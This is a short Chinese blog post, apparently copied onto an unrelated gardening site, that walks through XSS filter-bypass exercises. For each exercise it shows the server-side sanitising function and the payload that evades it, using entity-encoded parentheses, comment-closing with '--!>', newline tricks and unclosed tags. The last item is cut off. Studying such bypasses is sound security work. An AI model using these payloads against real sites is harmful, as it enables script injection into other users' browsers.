首页 > 分享 > xss实战

xss实战

最新推荐文章于 2024-10-23 12:10:06 发布

bylfsj 于 2019-09-13 22:32:51 发布

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

一、过滤()`

1.()被过滤

服务端代码

function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input } 12345

由于()被过滤,考虑编码绕过。

攻击代码

<iframe onmouseover=javascript:alert&#40;&#49;&#41;> 1

2.html 注释问题

a.服务端代码

function render (input) { input = input.replace(/-->/g, '?') return '<!-- ' + input + ' -->' } 1234

b.攻击代码

–>以及–!>均可结束注释

---!><script>alert(1)</script> 1

3.标签内过滤on/auto开头字段及尖括号>

a.服务端代码

function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` } 1234

b.攻击代码

通过换行避开正则。

type="image" src="xx" onmouseover ="alert(1)" 12

4.过滤</,<

a.服务端代码

function render (input) { const stripTagsRe = /</?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` } 123456

b.攻击代码

考虑到尖括号<>成对会被闭合,根据情况,可以省写>。</

相关知识

基于PHP的在线购物系统开发实战指南:从零构建电商平台
家庭养花实战手册(钻石版)
网络营销实战密码
郁李:花语与植物特征的魅力探寻
旅游摄影实战技巧
数字营销实战培训
花展实战拍摄技巧介绍
安全
超实用的拍摄花卉实战技巧!
摄影实战汇编

网址: xss实战 https://m.huajiangbk.com/newsview1388146.html

所属分类:花卉
上一篇: 学习记录
下一篇: 手把手教你如何玩转插件:通用Ma